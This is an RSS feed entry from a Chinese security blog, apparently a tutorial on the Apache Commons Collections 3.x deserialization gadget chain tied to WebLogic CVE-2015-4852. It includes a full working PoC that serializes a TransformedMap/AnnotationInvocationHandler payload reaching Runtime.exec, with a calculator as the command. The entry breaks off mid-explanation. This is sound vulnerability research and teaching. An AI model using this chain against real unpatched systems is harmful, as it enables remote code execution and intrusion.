<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Java on 洛鹿松的小站</title>
        <link>https://www.fufu.me/tags/java/</link>
        <description>Recent content in Java on 洛鹿松的小站</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <lastBuildDate>Wed, 11 Jun 2025 00:13:01 +0800</lastBuildDate><atom:link href="https://www.fufu.me/tags/java/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Apache-CC3.x链分析</title>
        <link>https://www.fufu.me/apache-cc3.x/</link>
        <pubDate>Wed, 11 Jun 2025 00:13:01 +0800</pubDate>
        
        <guid>https://www.fufu.me/apache-cc3.x/</guid>
        <description>&lt;img src="https://www.fufu.me/img/202506110020489.png" alt="Featured image of post Apache-CC3.x链分析" /&gt;&lt;p&gt;前面我们了解了java的序列化机制，也初步接触了利用链的概念，为了加深对反序列化漏洞的理解，这里来复现一条存在于 &lt;code&gt;apache commons-collections.jar&lt;/code&gt; 中的pop链，要知道这个类库使用广泛，所以很多大型的应用也存在着这个漏洞，这里就以 &lt;code&gt;Weblogic CVE-2015-4852&lt;/code&gt; 来说说反序列化漏洞的具体利用方法。&lt;/p&gt;
&lt;h2 id=&#34;漏洞利用成功条件&#34;&gt;漏洞利用成功条件
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;payload：需要让服务端执行的语句：比如说弹计算器还是执行远程访问等；&lt;/li&gt;
&lt;li&gt;反序列化利用链：服务端中存在的反序列化利用链，会一层层剥开我们的exp，最后执行payload。(在此篇中就是cc利用链)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readObject()&lt;/code&gt; 函数的覆写利用点：服务端中存在可以与我们漏洞链相接并且可以从外部访问的 &lt;code&gt;readObject()&lt;/code&gt; 函数覆写点；&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;攻击流程&#34;&gt;攻击流程
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;客户端构造payload，并进行一层层的封装，完成最后的exp；&lt;/li&gt;
&lt;li&gt;exp发送到服务端，进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数，它会反序列化恢复我们构造的exp去形成一个恶意类exp_1；&lt;/li&gt;
&lt;li&gt;这个恶意类exp_1在接下来的处理流程，会执行exp_1中的一个方法，在方法中会对exp_1的内容进行函数处理，从而一层层地解析exp_1变成exp_2、exp_3等；&lt;/li&gt;
&lt;li&gt;最后在一个可执行任意命令的函数中执行payload，完成远程代码执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;环境准备&#34;&gt;环境准备
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/zXbI8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;jdk1.7
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/zh-cn/idea/download&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;IntelliJ IDEA
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/jnzhl&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Weblogic-10.3.6
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/rY2fg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;commons-collections-3.1.jar
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

          &lt;link rel=&#34;stylesheet&#34; href=&#34;https://www.fufu.me/css/vendors/admonitions.36e8c5929a3d594ec79663bfb5a00cc53d4137685c16e6a0d50b5f63e97a0150.css&#34; integrity=&#34;sha256-NujFkpo9WU7HlmO/taAMxT1BN2hcFuag1QtfY&amp;#43;l6AVA=&#34; crossorigin=&#34;anonymous&#34;&gt;
  &lt;div class=&#34;admonition note&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 576 512&#34;&gt;&lt;path d=&#34;M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Note&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构，可以加速大多数重要Java应用程序的开发。从那时起，它已经成为Java中公认的集合处理标准。&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h2 id=&#34;poc代码&#34;&gt;PoC代码
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;package Step3;

import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class PoC1 {

    public static Object GeneratePayload() throws Exception {
        Transformer transformerChain = getTransformer();
        Map innermap = new HashMap();
        innermap.put(&amp;quot;value&amp;quot;, &amp;quot;re111&amp;quot;);
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

        Class cls = Class.forName(&amp;quot;sun.reflect.annotation.AnnotationInvocationHandler&amp;quot;);
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);  //通过setAccessible(true)的方式关闭安全检查
        return ctor.newInstance(Retention.class, outmap);
    }

    private static Transformer getTransformer() {
        final Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[]{String.class, Class[].class}, new Object[]{&amp;quot;getRuntime&amp;quot;, new Class[0]}),
                new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[]{String.class}, new String[]{&amp;quot;galculator&amp;quot;}),
                new ConstantTransformer(1)
        };
        return new ChainedTransformer(transforms);
    }

    public static void main(String[] args) throws Exception {
        String fileName = &amp;quot;./payload.bin&amp;quot;;
        GeneratePayloadFile(GeneratePayload(), fileName);
        TriggerPayload(fileName);
    }

    public static void GeneratePayloadFile(Object instance, String file) throws Exception {
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void TriggerPayload(String file) throws Exception {

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果出现很多包缺失的报错，则需要导入 &lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/rY2fg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;commons-collections-3.1.jar
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
 包&lt;/p&gt;
&lt;p&gt;IDEA菜单栏-&amp;gt;文件-&amp;gt;项目结构-&amp;gt;库-&amp;gt;添加-&amp;gt;按路径添加jar包即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/20250605151954366.png&#34;
	width=&#34;1529&#34;
	height=&#34;516&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/20250605151954366_hu16717351814288682926.png 480w, https://www.fufu.me/apache-cc3.x/images/20250605151954366_hu5845978913178611458.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_58&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;296&#34;
		data-flex-basis=&#34;711px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;transformer-链构造&#34;&gt;Transformer 链构造
&lt;/h3&gt;&lt;p&gt;Commons Collections实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;org.apache.commons.collections.Transformer&lt;/code&gt; 这个接口可以满足固定的类型转化需求，我们的漏洞利用就是在于这个点。&lt;/p&gt;
&lt;p&gt;我们在使用 &lt;code&gt;Apache Commons Collections&lt;/code&gt; 库进行 Gadget 构造时主要利用的就是这个 &lt;code&gt;transformer&lt;/code&gt; 接口，它只有一个待实现的方法 &lt;code&gt;transform()&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要用于将一个对象通过 &lt;code&gt;transform&lt;/code&gt; 方法转换为另一个对象，在库中众多对象转换的接口中存在一个 &lt;code&gt;Invoker&lt;/code&gt; 类型的转换接口 &lt;code&gt;InvokerTransformer&lt;/code&gt;，并且同时还实现了 &lt;code&gt;Serializable&lt;/code&gt; 接口。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; does not exist&amp;quot;);
            } catch (IllegalAccessException var6) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; cannot be accessed&amp;quot;);
            } catch (InvocationTargetException var7) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; threw an exception&amp;quot;, var7);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;InvokerTransformer&lt;/code&gt; 类中实现的 &lt;code&gt;transform()&lt;/code&gt; 接口使用 Java 反射机制获取反射对象 &lt;code&gt;input&lt;/code&gt; 中的参数类型为 &lt;code&gt;iParamTypes&lt;/code&gt; 的方法 &lt;code&gt;iMethodName&lt;/code&gt;，然后使用对应参数 &lt;code&gt;iArgs&lt;/code&gt; 调用获取的方法，并将执行结果返回。由于其实现了 Serializable 接口，因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的，为命令执行创造了条件，但是只有这里的话显然并不能RCE。&lt;/p&gt;
&lt;p&gt;继续看 &lt;code&gt;ChainedTransformer&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    ...

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i &amp;lt; this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以看出来是挨个遍历 &lt;code&gt;transformer&lt;/code&gt;，调用&lt;code&gt;ChainedTransformer&lt;/code&gt; 的 &lt;code&gt;transform&lt;/code&gt; 方法然后返回object，返回的object继续进入循环，成为下一次调用的参数，所以我们可以通过这里来执行命令。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private static Transformer getTransformer() {
    final Transformer[] transforms = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[]{String.class, Class[].class}, new Object[]{&amp;quot;getRuntime&amp;quot;, new Class[0]}),
            new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[]{String.class}, new String[]{&amp;quot;galculator&amp;quot;}),
            new ConstantTransformer(1)
    };
    return new ChainedTransformer(transforms);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一链条构成了核心 payload 的代码执行链，每一步的具体含义。&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;步骤&lt;/th&gt;
          &lt;th&gt;说明&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;ConstantTransformer(Runtime.class)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;初始返回 &lt;code&gt;java.lang.Runtime.class&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;getMethod(&amp;quot;getRuntime&amp;quot;, ...)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;调用反射获取 &lt;code&gt;Runtime.getRuntime()&lt;/code&gt; 方法对象&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;invoke(null, new Object[0])&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;执行 &lt;code&gt;getRuntime()&lt;/code&gt; 方法，返回 &lt;code&gt;Runtime.getRuntime()&lt;/code&gt; 实例&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;exec(&amp;quot;galculator&amp;quot;)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;执行命令 &lt;code&gt;galculator&lt;/code&gt;（Linux 图形计算器）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;ConstantTransformer(1)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;后续调用无害的返回值，掩盖攻击目的&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;环境中不可能直接存在 &lt;code&gt;Runtime.class&lt;/code&gt;，所以我们通过构造来产生。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ConstantTransformer&lt;/code&gt; 类初始化传入 &lt;code&gt;this.iConstant&lt;/code&gt; 参数直接return，相当于this的作用。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class ConstantTransformer implements Transformer, Serializable {
 static final long serialVersionUID = 6374440726369055124L;
 public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null);
 private final Object iConstant;

 public ConstantTransformer(Object constantToReturn) {
     this.iConstant = constantToReturn;
 }

 public Object transform(Object input) {
     return this.iConstant;
 }
}
&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;p&gt;向 &lt;code&gt;ChainedTransformer&lt;/code&gt; 传入 &lt;code&gt;transformers&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后构造的命令参数传入 &lt;code&gt;InvokerTransformer&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里都会赋值,然后就会调用到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; does not exist&amp;quot;);
        } catch (IllegalAccessException var6) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; cannot be accessed&amp;quot;);
        } catch (InvocationTargetException var7) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; threw an exception&amp;quot;, var7);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过反射达成如下效果，这条语句就是我们想要构建的核心 payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;Class.forName(&amp;quot;java.lang.Runtime&amp;quot;).getMethod(&amp;quot;getRuntime&amp;quot;).invoke(Class.forName(&amp;quot;java.lang.Runtime&amp;quot;)).exec(&amp;quot;galculator&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;执行 &lt;code&gt;Class.forName(&amp;quot;java.lang.Runtime&amp;quot;).getMethod(&amp;quot;getRuntime&amp;quot;)&lt;/code&gt; 这部分语句，&lt;/p&gt;
&lt;p&gt;也就是执行&lt;code&gt;Runtime.class.getMethod(&amp;quot;getRuntime&amp;quot;)&lt;/code&gt;，获得Runtime的getRuntime方法定义。&lt;/p&gt;
&lt;p&gt;由于上述是静态方法，所以&lt;code&gt;invoke(Class.forName(&amp;quot;java.lang.Runtime&amp;quot;))&lt;/code&gt;也可以写成&lt;code&gt;invoke(null)&lt;/code&gt;，执行上述方法得到一个实例，然后用这个实例调用exec(&amp;ldquo;galculator&amp;rdquo;)弹出计算器&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h3 id=&#34;封装成map&#34;&gt;封装成Map
&lt;/h3&gt;&lt;p&gt;要想实现RCE还需要一个入口点，使得应用在反序列化的时候能够通过一条调用链来触发 &lt;code&gt;InvokerTransformer&lt;/code&gt; 中的 &lt;code&gt;transform()&lt;/code&gt; 方法，有两个类中使用了可疑的 &lt;code&gt;transform()&lt;/code&gt; 方法： &lt;code&gt;LazyMap&lt;/code&gt; 和 &lt;code&gt;TransformedMap&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TransformedMap&lt;/code&gt; 中一共有三处函数使用了transform方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081655900.png&#34;
	width=&#34;2079&#34;
	height=&#34;1321&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081655900_hu16797668860235496195.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081655900_hu5960003941667884196.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_63&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;157&#34;
		data-flex-basis=&#34;377px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;当然，光是使用了transform这个方法还不行，我们还需要确认是使用了&lt;code&gt;ChainedTransformer.transform()&lt;/code&gt;，我们看一下 &lt;code&gt;this.valueTransformer&lt;/code&gt; 的类型&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081728546.png&#34;
	width=&#34;1421&#34;
	height=&#34;591&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081728546_hu11172588542927478617.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081728546_hu16698640920507920963.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_64&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;240&#34;
		data-flex-basis=&#34;577px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;可以看到 &lt;code&gt;this.valueTransformer&lt;/code&gt; 的类型是Transformer，所以在构造poc的时候只需要将他的值赋为我们精心构造的 &lt;code&gt;ChainedTransformer&lt;/code&gt; 就行，这里只要 &lt;code&gt;valueTransformer&lt;/code&gt; 可控即可利用上面的调用链&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们初始化的时候是可以控制的，怎么触发呢&lt;/p&gt;
&lt;p&gt;&lt;code&gt;checkSetValue()&lt;/code&gt; 方法可以办到这一点，它会将我们传入的value对象使用 &lt;code&gt;transform()&lt;/code&gt; 方法进行处理&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}
&lt;/code&gt;&lt;/pre&gt;

  &lt;div class=&#34;admonition caution&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 512 512&#34;&gt;&lt;path d=&#34;M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Caution&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;错误：当进入 &lt;code&gt;put&lt;/code&gt; 方法的时候会触发valueTransformer的构造方法，也可以调用 &lt;code&gt;transform()&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object transformValue(Object object) {
 return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
&lt;/code&gt;&lt;/pre&gt;
